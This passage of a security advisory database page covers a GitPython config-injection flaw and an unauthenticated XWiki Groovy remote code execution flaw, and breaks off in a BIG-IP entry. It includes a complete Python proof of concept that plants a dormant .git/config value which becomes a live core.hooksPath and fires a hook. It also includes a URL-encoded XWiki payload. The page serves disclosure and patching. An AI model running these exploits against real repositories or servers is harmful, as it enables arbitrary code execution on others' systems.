  • git/config.py:~694-712 (_write()/write_section()) — uses self._value_to_string(v) (unsafe variant) and .replace("\n", "\n\t") with no re-quoting.
  • c417af46 (the CR/LF/NUL guard commit) touches only the setter path and explicitly states it preserves existing read behavior for multi-line values, per its own commit message.
  • git log -S"string_decode", -S"write_section", -S'replace("\n", "\n\t")' on git/config.py show these code paths have only ever been touched by non-security formatting/refactor commits (a5fc1d86, b825dc74, cb68eef0, 21ec5299), never by a security fix.
  • PoC (gitpython-002-poc.py, embedded below) reproduces the full chain end-to-end against this exact checkout: dormant value → one unrelated config_writer() write → core.hookspath becomes live per real git config --get → a subsequent git commit executes the injected hook and writes a benign marker file.

False-positive check (adversarial re-read)

  • Is this just a repeat of the four already-fixed config-injection GHSAs? No — all four require the caller to pass a Python string containing a raw control character or forbidden syntax character as an argument to a setter; all four are now blocked by UNSAFE_CONFIG_CHARS_RE/VALID_CONFIG_OPTION_NAME_RE/the section quote-state-machine. This finding requires no such caller argument: the payload is smuggled entirely inside a config file using standard, valid git escaping that the guard never inspects, and only becomes dangerous through GitPython's own unguarded re-serialization of a value it already holds. Confirmed via _known-advisories.json (26 entries, none withdrawn) — none describe this read→corrupt-on-rewrite mechanism.
  • Does real git actually round-trip this value safely (i.e. is this a GitPython-only bug, not a "normal" file)? Yes, confirmed empirically: after the same crafted .git/config is rewritten by real git config user.name Test2 (a control test), the multi-line zzz entry is preserved byte-for-byte in its original quoted/continuation form — only GitPython's writer corrupts it.
  • Is there a guard elsewhere that would catch the resulting bare hooksPath = ... line before it's trusted? No — once on disk, it is indistinguishable from a directive the user set intentionally; core.hooksPath is honored unconditionally by git's hook-invocation machinery.
  • Does this require an unrealistic precondition? The precondition (a config file with attacker-influenced content, later legitimately rewritten) mirrors the exact threat model the maintainers already treated as realistic and fixed for GHSA-v87r-6q3f-2j67.
  • Verdict: no concrete blocker found. CONFIRMED — reproduced independently end-to-end (dormant value in place → benign unrelated config_writer() write → core.hookspath live per real git → hook fires on git commit, marker file written).

Remediation

Either (a) make write_section()/_write() use _value_to_string_safe() (or equivalent re-quoting) for every resident value, including those that originated from _read(), so an embedded newline is always re-emitted as a properly quoted+backslash-continued value rather than a bare new line, or (b) reject/neutralize embedded control characters in values at read time before they can reach _sections at all if the parser is opened in read_only=False mode, or (c) canonicalize output using git's own git config --file <path> --replace-all semantics instead of a hand-rolled writer. Option (a) is the most surgical fix and matches the spirit of _value_to_string_safe() already used on the setter path.

Confidence

High. Root cause independently re-derived and confirmed by direct code reading; full exploit chain (dormant value → benign unrelated write → live core.hookspath → hook execution with a benign marker) reproduced twice, independently, against the current HEAD.

Proof-of-Concept source (gitpython-002-poc.py)

#!/usr/bin/env python3
"""
GITPYTHON-002 PoC: a dormant, legitimately-encoded multi-line git-config value
(standard quoted + backslash-continuation syntax, containing an escaped "\\n"
that decodes to a real embedded newline in memory) is corrupted into a NEW,
live config key the moment GitConfigParser re-serializes it during any
unrelated write. If the smuggled second "line" looks like
"hooksPath = <attacker path>", it becomes a real, active core.hooksPath after
one unrelated GitPython config write, and fires attacker code on the next
hook-triggering git operation (e.g. `git commit`).

This is CWE-88/CWE-94 style argument/config injection, but via the READ path
(a config file GitPython parses and later rewrites), not via a Python kwarg
argument -- distinct from the already-fixed GHSA-mv93-w799-cj2w /
GHSA-v87r-6q3f-2j67 / GHSA-3rp5-jjmw-4wv2 / GHSA-jm78-9fvv-mhgr, which all
guard the setter-argument surface only.

Run:
  PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-002-poc.py <workdir>

Benign: only writes/reads inside <workdir>. The "malicious" hook just writes a
marker file; no destructive/exfiltrating payload. Exits non-zero and prints
"NOT VULNERABLE" if the corruption / hook does not fire.
"""
import os
import subprocess
import sys


def main():
    workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-002-poc"
    repo_dir = os.path.join(workdir, "repo")
    hooks_dir = os.path.join(workdir, "evil-hooks")
    marker = os.path.join(workdir, "PWNED_MARKER.txt")

    for p in (repo_dir, hooks_dir):
        os.makedirs(p, exist_ok=True)
    if os.path.exists(marker):
        os.remove(marker)

    subprocess.run(["git", "init", "-q", "-b", "main", repo_dir], check=True)
    subprocess.run(["git", "-C", repo_dir, "config", "user.email", "test@example.com"], check=True)
    subprocess.run(["git", "-C", repo_dir, "config", "user.name", "Test"], check=True)

    # Rewrite .git/config with a dormant, 100%-valid multi-line quoted value
    # inside [core] (before any other section). No raw CR/LF/NUL byte is
    # written to disk here -- this is standard git config quoting +
    # backslash-line-continuation, decoded by both real git and GitConfigParser
    # into the Python string 'A\nhooksPath = ../evil-hooks'.
    cfg_path = os.path.join(repo_dir, ".git", "config")
    with open(cfg_path) as f:
        original = f.read()
    poisoned_entry = '\tzzz = "A\\nhooksPath = ../evil-hooks\\\n"\n'
    # Insert right after the [core] header line so it lives in the same section.
    new_config = original.replace("[core]\n", "[core]\n" + poisoned_entry, 1)
    with open(cfg_path, "w") as f:
        f.write(new_config)

    # Confirm it's inert per real git before touching GitPython.
    pre = subprocess.run(
        ["git", "-C", repo_dir, "config", "--get", "core.hookspath"],
        capture_output=True, text=True,
    )
    if pre.returncode == 0:
        print("SETUP ERROR: core.hookspath already set before GitPython touched anything")
        sys.exit(2)

    # Malicious hook: benign marker only.
    hook_path = os.path.join(hooks_dir, "pre-commit")
    with open(hook_path, "w") as f:
        f.write('#!/bin/sh\necho "PWNED-VIA-GITPYTHON-CONFIG-INJECTION" > "%s"\nexit 0\n' % marker)
    os.chmod(hook_path, 0o755)

    import git  # gitpython under test

    repo = git.Repo(repo_dir)
    before = repo.config_reader().get_value("core", "zzz")
    print("core.zzz before any GitPython write =", repr(before))

    # ONE totally unrelated, benign write -- this is the only "attacker-adjacent"
    # action required, and it is something virtually every GitPython consumer
    # does routinely (setting an option, adding a remote, updating a branch's
    # tracking config, ...).
    with repo.config_writer() as cw:
        cw.set_value("user", "name", "Test User")

    post = subprocess.run(
        ["git", "-C", repo_dir, "config", "--get", "core.hookspath"],
        capture_output=True, text=True,
    )
    if post.returncode != 0:
        print("NOT VULNERABLE: core.hookspath still absent after the unrelated write")
        sys.exit(1)

    injected_path = post.stdout.strip()
    print("core.hookspath is now LIVE after one unrelated write:", injected_path)

    # Trigger the hook with a normal commit to prove it fires.
    with open(os.path.join(repo_dir, "file2.txt"), "w") as f:
        f.write("change\n")
    subprocess.run(["git", "-C", repo_dir, "add", "file2.txt"], check=True)
    subprocess.run(
        ["git", "-C", repo_dir, "-c", "user.email=t@example.com", "-c", "user.name=T",
         "commit", "-q", "-m", "trigger hook"],
        check=True,
    )

    if os.path.isfile(marker):
        with open(marker) as f:
            content = f.read().strip()
        print("VULNERABLE: hook fired, marker content =", content)
        sys.exit(0)
    else:
        print("NOT VULNERABLE: hook did not fire")
        sys.exit(1)


if __name__ == "__main__":
    main()
Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.58"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "GitPython"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.59"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-78676"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-88",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T18:39:40Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "- **CWE:** CWE-88 (Argument Injection) / CWE-94 (Code Injection) \u2014 via a read-then-corrupt-on-rewrite config round trip, not a direct setter argument\n- **Affected component:** `git/config.py` \u2014 `GitConfigParser._read()` (multi-line value decoding, lines 444-541, esp. `string_decode()` at line 460 and its call sites at 519/541) and `GitConfigParser._write()`/`write_section()` (serialization, lines ~694-712, esp. line 708)\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\nGitPython added `UNSAFE_CONFIG_CHARS_RE` / `_value_to_string_safe()` / `_assure_config_name_safe()` guards (commits `c417af46`, `1ed1b924`, `a495ccd3`, and PR #2176) to reject a Python string containing a raw `\\r`/`\\n`/NUL byte, or syntax-bearing characters, when it is passed as an **argument** to `set()`, `set_value()`, `add_value()`, or `add_section()`. This closed the four config-injection GHSAs above.\n\nThat guard is applied only on the write-argument surface. It is never consulted for values that entered `GitConfigParser._sections` via `_read()` \u2014 i.e. values that came from parsing an on-disk config file. And `_read()` legitimately supports standard, spec-compliant git config syntax for multi-line values: a quoted value that is not closed on the same physical line continues onto the next physical line (git\u0027s own backslash-continuation syntax), and `string_decode()` (`.decode(\u0027unicode_escape\u0027)`) decodes a literal two-character `\\n` **escape sequence** inside such a value into a real embedded LF character in the resulting Python string. No raw control byte is ever written to disk to achieve this \u2014 it\u0027s the same syntax real `git` itself uses and accepts.\n\nThe bug is in what happens when that `GitConfigParser` is later **flushed**: `write_section()` (line ~694) calls the *unsafe* `self._value_to_string(v)` \u2014 not `_value_to_string_safe()` \u2014 and \"handles\" any embedded newline in the value with `.replace(\"\\n\", \"\\n\\t\")` (line 708), emitting a bare, unquoted `\u003creal newline\u003e\u003ctab\u003e` in the output file with no re-quoting and no backslash-continuation marker. Real git does **not** treat an indentation-only continuation the way GitPython\u0027s writer assumes \u2014 a value only continues across physical lines when the *previous* line ends in a literal `\\` immediately before the newline. So the moment `write_section()` re-serializes a previously-decoded multi-line value this way, the second half of that value becomes an **independent, new config line** the next time anyone (GitPython or real `git`) parses the file. If an attacker chooses the dormant value\u0027s content to be `\u003canything\u003e\\nhooksPath = \u003cattacker path\u003e`, that second line is parsed as a brand-new `core.hooksPath = \u003cattacker path\u003e` directive \u2014 live, real Git configuration, not a value.\n\n`core.hooksPath` is honored by essentially every hook-firing git operation (`commit`, `checkout`, `merge`, `push`, `rebase`, ...), giving arbitrary code execution the next time the host application performs any hook-triggering operation.\n\n## Root cause\n`GitConfigParser`\u0027s injection guard is asymmetric: it hardens every *write-argument* entry point (the fix for the four sibling GHSAs) but never hardens the **read \u2192 corrupt-on-rewrite round trip**. A value that is 100% legitimate and inert as parsed from disk becomes a newly-injected directive purely through GitPython\u0027s own broken re-serialization logic (`write_section()` using the unsafe value-to-string path plus a continuation scheme real git doesn\u0027t recognize). The `c417af46` commit message even states its intent explicitly: *\"This preserves existing read behavior for config files that already contain multiline values while preventing GitPython from writing new unsafe values\"* \u2014 i.e. the maintainers consciously scoped the fix to the write-argument surface and did not address what happens when an already-resident multi-line value gets rewritten.\n\n## Exploit path\n1. A `.git/config` (or any file merged into it via `[include]`, see below) already contains a dormant, syntactically-legitimate multi-line quoted value, e.g.:\n   ```\n   [core]\n   \tzzz = \"A\\nhooksPath = ../evil-hooks\\\n   \"\n   ```\n   No raw `\\r`, `\\n`, or NUL byte appears on disk \u2014 this is standard git quoting + backslash-continuation. Real `git config --get core.hookspath` returns nothing at this point (inert); `git config --get core.zzz` returns the decoded string `A\\nhooksPath = ../evil-hooks`, identically to GitPython\u0027s own reader.\n2. The host application opens this repo with GitPython (`git.Repo(path)`, `read_only=False` implicitly for a normal `config_writer()` use) and performs **any** single, unrelated, legitimate config write on the same `GitConfigParser` instance \u2014 e.g. `repo.config_writer().set_value(\"user\", \"name\", \"Test User\")`. This is one of the most ordinary operations a GitPython-based tool performs.\n3. `GitConfigParser._write()`/`write_section()` re-serializes every resident value, including the dormant `zzz` entry, using the unsafe path. The file on disk now contains, verbatim:\n   ```\n   [core]\n   \t...\n   \tzzz = A\n   \thooksPath = ../evil-hooks\n   ```\n4. Real `git config --get core.hookspath` now returns `../evil-hooks` \u2014 a key that did not exist before step 2, created purely by GitPython\u0027s own write.\n5. The next hook-firing git operation (e.g. `git commit`) executes `../evil-hooks/pre-commit` (or whatever hook name the operation looks for), i.e. arbitrary attacker-chosen code execution.\n\n## Impact\nArbitrary code execution, on par with (and more directly triggered than) the already-accepted, High-severity `GHSA-mv93-w799-cj2w`/`GHSA-v87r-6q3f-2j67` \"Newline injection... enables RCE via core.hooksPath\" advisories, and requiring **no unsafe caller argument at all** \u2014 only an attacker-influenced config file plus one ordinary, unrelated write.\n\n## Preconditions\n- A config file GitPython opens read-write already contains an attacker-chosen, syntactically-valid multi-line value shaped like `\u003canything\u003e\\n\u003cinjected-key\u003e = \u003cinjected-value\u003e`. Realistic delivery:\n  1. **Pre-existing `.git` directory shipped with a repository** \u2014 vendored/template repos, CI workspace/layer caches that preserve `.git`, \"repo\" tarball/zip distributions that include `.git/config`. The poisoned value sits directly in `.git/config`.\n  2. **The documented shared-config `[include]` pattern** (`[include] path = ../\u003crepo-tracked-file\u003e`, pointing at a file inside the working tree) \u2014 `GitConfigParser.read()` merges included files\u0027 sections into the same `_sections` dict used for writing, so a malicious public repository can ship the poisoned value inside a normal tracked file and have it activated the first time any GitPython-based tool performs any unrelated config write after clone (this requires the victim\u0027s own `.git/config` to already reference the include, e.g. via project setup tooling that adds `include.path`).\n  3. **Any host application that opens an attacker-influenced config file for read-write and later performs a legitimate write** \u2014 the exact trust-boundary the maintainers already accepted as realistic for `GHSA-v87r-6q3f-2j67` (their writeup cites MLRun\u0027s `project.push()`).\n- No authentication/role requirement inside GitPython itself.\n\n## Evidence\n- `git/config.py:460` (`string_decode`), invoked at `git/config.py:519` and `:541` inside `_read()`\u0027s multi-line handling \u2014 decodes `unicode_escape`, turning a literal `\\n` escape into a real embedded LF.\n- `git/config.py:~694-712` (`_write()`/`write_section()`) \u2014 uses `self._value_to_string(v)` (unsafe variant) and `.replace(\"\\n\", \"\\n\\t\")` with no re-quoting.\n- `c417af46` (the CR/LF/NUL guard commit) touches only the setter path and explicitly states it preserves existing *read* behavior for multi-line values, per its own commit message.\n- `git log -S\"string_decode\"`, `-S\"write_section\"`, `-S\u0027replace(\"\\n\", \"\\n\\t\")\u0027` on `git/config.py` show these code paths have only ever been touched by non-security formatting/refactor commits (`a5fc1d86`, `b825dc74`, `cb68eef0`, `21ec5299`), never by a security fix.\n- PoC (`gitpython-002-poc.py`, embedded below) reproduces the full chain end-to-end against this exact checkout: dormant value \u2192 one unrelated `config_writer()` write \u2192 `core.hookspath` becomes live per real `git config --get` \u2192 a subsequent `git commit` executes the injected hook and writes a benign marker file.\n\n## False-positive check (adversarial re-read)\n- **Is this just a repeat of the four already-fixed config-injection GHSAs?** No \u2014 all four require the *caller* to pass a Python string containing a raw control character or forbidden syntax character as an argument to a setter; all four are now blocked by `UNSAFE_CONFIG_CHARS_RE`/`VALID_CONFIG_OPTION_NAME_RE`/the section quote-state-machine. This finding requires no such caller argument: the payload is smuggled entirely inside a config *file* using standard, valid git escaping that the guard never inspects, and only becomes dangerous through GitPython\u0027s own unguarded re-serialization of a value it already holds. Confirmed via `_known-advisories.json` (26 entries, none withdrawn) \u2014 none describe this read\u2192corrupt-on-rewrite mechanism.\n- **Does real git actually round-trip this value safely (i.e. is this a GitPython-only bug, not a \"normal\" file)?** Yes, confirmed empirically: after the same crafted `.git/config` is rewritten by *real* `git config user.name Test2` (a control test), the multi-line `zzz` entry is preserved byte-for-byte in its original quoted/continuation form \u2014 only GitPython\u0027s writer corrupts it.\n- **Is there a guard elsewhere that would catch the resulting bare `hooksPath = ...` line before it\u0027s trusted?** No \u2014 once on disk, it is indistinguishable from a directive the user set intentionally; `core.hooksPath` is honored unconditionally by git\u0027s hook-invocation machinery.\n- **Does this require an unrealistic precondition?** The precondition (a config file with attacker-influenced content, later legitimately rewritten) mirrors the exact threat model the maintainers already treated as realistic and fixed for `GHSA-v87r-6q3f-2j67`.\n- Verdict: no concrete blocker found. **CONFIRMED** \u2014 reproduced independently end-to-end (dormant value in place \u2192 benign unrelated `config_writer()` write \u2192 `core.hookspath` live per real git \u2192 hook fires on `git commit`, marker file written).\n\n## Remediation\nEither (a) make `write_section()`/`_write()` use `_value_to_string_safe()` (or equivalent re-quoting) for **every** resident value, including those that originated from `_read()`, so an embedded newline is always re-emitted as a properly quoted+backslash-continued value rather than a bare new line, or (b) reject/neutralize embedded control characters in values at read time before they can reach `_sections` at all if the parser is opened in `read_only=False` mode, or (c) canonicalize output using git\u0027s own `git config --file \u003cpath\u003e --replace-all` semantics instead of a hand-rolled writer. Option (a) is the most surgical fix and matches the spirit of `_value_to_string_safe()` already used on the setter path.\n\n## Confidence\nHigh. Root cause independently re-derived and confirmed by direct code reading; full exploit chain (dormant value \u2192 benign unrelated write \u2192 live `core.hookspath` \u2192 hook execution with a benign marker) reproduced twice, independently, against the current HEAD.\n\n\n## Proof-of-Concept source (`gitpython-002-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-002 PoC: a dormant, legitimately-encoded multi-line git-config value\n(standard quoted + backslash-continuation syntax, containing an escaped \"\\\\n\"\nthat decodes to a real embedded newline in memory) is corrupted into a NEW,\nlive config key the moment GitConfigParser re-serializes it during any\nunrelated write. If the smuggled second \"line\" looks like\n\"hooksPath = \u003cattacker path\u003e\", it becomes a real, active core.hooksPath after\none unrelated GitPython config write, and fires attacker code on the next\nhook-triggering git operation (e.g. `git commit`).\n\nThis is CWE-88/CWE-94 style argument/config injection, but via the READ path\n(a config file GitPython parses and later rewrites), not via a Python kwarg\nargument -- distinct from the already-fixed GHSA-mv93-w799-cj2w /\nGHSA-v87r-6q3f-2j67 / GHSA-3rp5-jjmw-4wv2 / GHSA-jm78-9fvv-mhgr, which all\nguard the setter-argument surface only.\n\nRun:\n  PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-002-poc.py \u003cworkdir\u003e\n\nBenign: only writes/reads inside \u003cworkdir\u003e. The \"malicious\" hook just writes a\nmarker file; no destructive/exfiltrating payload. Exits non-zero and prints\n\"NOT VULNERABLE\" if the corruption / hook does not fire.\n\"\"\"\nimport os\nimport subprocess\nimport sys\n\n\ndef main():\n    workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-002-poc\"\n    repo_dir = os.path.join(workdir, \"repo\")\n    hooks_dir = os.path.join(workdir, \"evil-hooks\")\n    marker = os.path.join(workdir, \"PWNED_MARKER.txt\")\n\n    for p in (repo_dir, hooks_dir):\n        os.makedirs(p, exist_ok=True)\n    if os.path.exists(marker):\n        os.remove(marker)\n\n    subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", repo_dir], check=True)\n    subprocess.run([\"git\", \"-C\", repo_dir, \"config\", \"user.email\", \"test@example.com\"], check=True)\n    subprocess.run([\"git\", \"-C\", repo_dir, \"config\", \"user.name\", \"Test\"], check=True)\n\n    # Rewrite .git/config with a dormant, 100%-valid multi-line quoted value\n    # inside [core] (before any other section). No raw CR/LF/NUL byte is\n    # written to disk here -- this is standard git config quoting +\n    # backslash-line-continuation, decoded by both real git and GitConfigParser\n    # into the Python string \u0027A\\nhooksPath = ../evil-hooks\u0027.\n    cfg_path = os.path.join(repo_dir, \".git\", \"config\")\n    with open(cfg_path) as f:\n        original = f.read()\n    poisoned_entry = \u0027\\tzzz = \"A\\\\nhooksPath = ../evil-hooks\\\\\\n\"\\n\u0027\n    # Insert right after the [core] header line so it lives in the same section.\n    new_config = original.replace(\"[core]\\n\", \"[core]\\n\" + poisoned_entry, 1)\n    with open(cfg_path, \"w\") as f:\n        f.write(new_config)\n\n    # Confirm it\u0027s inert per real git before touching GitPython.\n    pre = subprocess.run(\n        [\"git\", \"-C\", repo_dir, \"config\", \"--get\", \"core.hookspath\"],\n        capture_output=True, text=True,\n    )\n    if pre.returncode == 0:\n        print(\"SETUP ERROR: core.hookspath already set before GitPython touched anything\")\n        sys.exit(2)\n\n    # Malicious hook: benign marker only.\n    hook_path = os.path.join(hooks_dir, \"pre-commit\")\n    with open(hook_path, \"w\") as f:\n        f.write(\u0027#!/bin/sh\\necho \"PWNED-VIA-GITPYTHON-CONFIG-INJECTION\" \u003e \"%s\"\\nexit 0\\n\u0027 % marker)\n    os.chmod(hook_path, 0o755)\n\n    import git  # gitpython under test\n\n    repo = git.Repo(repo_dir)\n    before = repo.config_reader().get_value(\"core\", \"zzz\")\n    print(\"core.zzz before any GitPython write =\", repr(before))\n\n    # ONE totally unrelated, benign write -- this is the only \"attacker-adjacent\"\n    # action required, and it is something virtually every GitPython consumer\n    # does routinely (setting an option, adding a remote, updating a branch\u0027s\n    # tracking config, ...).\n    with repo.config_writer() as cw:\n        cw.set_value(\"user\", \"name\", \"Test User\")\n\n    post = subprocess.run(\n        [\"git\", \"-C\", repo_dir, \"config\", \"--get\", \"core.hookspath\"],\n        capture_output=True, text=True,\n    )\n    if post.returncode != 0:\n        print(\"NOT VULNERABLE: core.hookspath still absent after the unrelated write\")\n        sys.exit(1)\n\n    injected_path = post.stdout.strip()\n    print(\"core.hookspath is now LIVE after one unrelated write:\", injected_path)\n\n    # Trigger the hook with a normal commit to prove it fires.\n    with open(os.path.join(repo_dir, \"file2.txt\"), \"w\") as f:\n        f.write(\"change\\n\")\n    subprocess.run([\"git\", \"-C\", repo_dir, \"add\", \"file2.txt\"], check=True)\n    subprocess.run(\n        [\"git\", \"-C\", repo_dir, \"-c\", \"user.email=t@example.com\", \"-c\", \"user.name=T\",\n         \"commit\", \"-q\", \"-m\", \"trigger hook\"],\n        check=True,\n    )\n\n    if os.path.isfile(marker):\n        with open(marker) as f:\n            content = f.read().strip()\n        print(\"VULNERABLE: hook fired, marker content =\", content)\n        sys.exit(0)\n    else:\n        print(\"NOT VULNERABLE: hook did not fire\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n\n```",
  "id": "GHSA-284h-m62q-gf8w",
  "modified": "2026-09-08T18:39:40Z",
  "published": "2026-09-08T18:39:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-284h-m62q-gf8w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78676"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gitpython-developers/GitPython"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3786.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-config-injection"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "GitPython: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any unrelated GitConfigParser write, enabling RCE"
}

GHSA-2858-8CFX-69M9

Vulnerability from github – Published: 2024-04-10 17:12 – Updated: 2025-09-26 16:30
VLAI
Summary
XWiki Platform: Remote code execution as guest via DatabaseSearch
Details

Impact

XWiki's database search allows remote code execution through the search text. This allows remote code execution for any visitor of a public wiki or user of a closed wiki as the database search is by default accessible for all users. This impacts the confidentiality, integrity and availability of the whole XWiki installation.

To reproduce on an instance, without being logged in, go to <hostname>/xwiki/bin/get/Main/DatabaseSearch?outputSyntax=plain&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello%20from%22%20%2B%20%22%20search%20text%3A%22%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. If the title of the RSS channel contains Hello from search text:42, the instance is vulnerable.

Patches

This vulnerability has been patched in XWiki 14.10.20, 15.5.4 and 15.10RC1.

Workarounds

It is possible to manually apply this patch to the page Main.DatabaseSearch. Alternatively, unless database search is explicitly used by users, this page can be deleted as this is not the default search interface of XWiki.

References

  • https://jira.xwiki.org/browse/XWIKI-21472
  • https://github.com/xwiki/xwiki-platform/commit/95bdd6cc6298acdf7f8f21298d40eeb8390a8565
Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
10.0 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-search-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4-milestone-1"
            },
            {
              "fixed": "14.10.20"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-search-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.0-rc-1"
            },
            {
              "fixed": "15.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-search-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.6-rc-1"
            },
            {
              "fixed": "15.10-rc-1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-31982"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-10T17:12:47Z",
    "nvd_published_at": "2024-04-10T20:15:08Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nXWiki\u0027s database search allows remote code execution through the search text. This allows remote code execution for any visitor of a public wiki or user of a closed wiki as the database search is by default accessible for all users. This impacts the confidentiality, integrity and availability of the whole XWiki installation.\n\nTo reproduce on an instance, without being logged in, go to `\u003chostname\u003e/xwiki/bin/get/Main/DatabaseSearch?outputSyntax=plain\u0026text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello%20from%22%20%2B%20%22%20search%20text%3A%22%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20`. If the title of the RSS channel contains `Hello from search text:42`, the instance is vulnerable.\n\n### Patches\nThis vulnerability has been patched in XWiki 14.10.20, 15.5.4 and 15.10RC1.\n\n### Workarounds\nIt is possible to manually apply [this patch](https://github.com/xwiki/xwiki-platform/commit/95bdd6cc6298acdf7f8f21298d40eeb8390a8565#diff-ef3314b8bb489e5368618ea1940c59098b18ec2246cc65fe337ae636de87e404) to the page `Main.DatabaseSearch`. Alternatively, unless database search is explicitly used by users, this page can be deleted as this is not the default search interface of XWiki.\n\n### References\n* https://jira.xwiki.org/browse/XWIKI-21472\n* https://github.com/xwiki/xwiki-platform/commit/95bdd6cc6298acdf7f8f21298d40eeb8390a8565",
  "id": "GHSA-2858-8cfx-69m9",
  "modified": "2025-09-26T16:30:44Z",
  "published": "2024-04-10T17:12:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-2858-8cfx-69m9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31982"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/3c9e4bb04286de94ad24854026a09fa967538e31"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/459e968be8740c8abc2a168196ce21e5ba93cfb8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/95bdd6cc6298acdf7f8f21298d40eeb8390a8565"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xwiki/xwiki-platform"
    },
    {
      "type": "WEB",
      "url": "https://jira.xwiki.org/browse/XWIKI-21472"
    },
    {
      "type": "WEB",
      "url": "https://www.vicarius.io/vsociety/posts/cve-2024-31982-detect-xwiki-vulnerability"
    },
    {
      "type": "WEB",
      "url": "https://www.vicarius.io/vsociety/posts/cve-2024-31982-xwiki-mitigation-vulnerability"
    },
    {
      "type": "WEB",
      "url": "https://www.vicarius.io/vsociety/posts/xwiki-rce-cve-2024-31982"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "XWiki Platform: Remote code execution as guest via DatabaseSearch"
}

GHSA-2859-2HR6-F86V

Vulnerability from github – Published: 2022-05-24 17:22 – Updated: 2025-10-22 00:31
VLAI
Details

In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-5902"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-94"
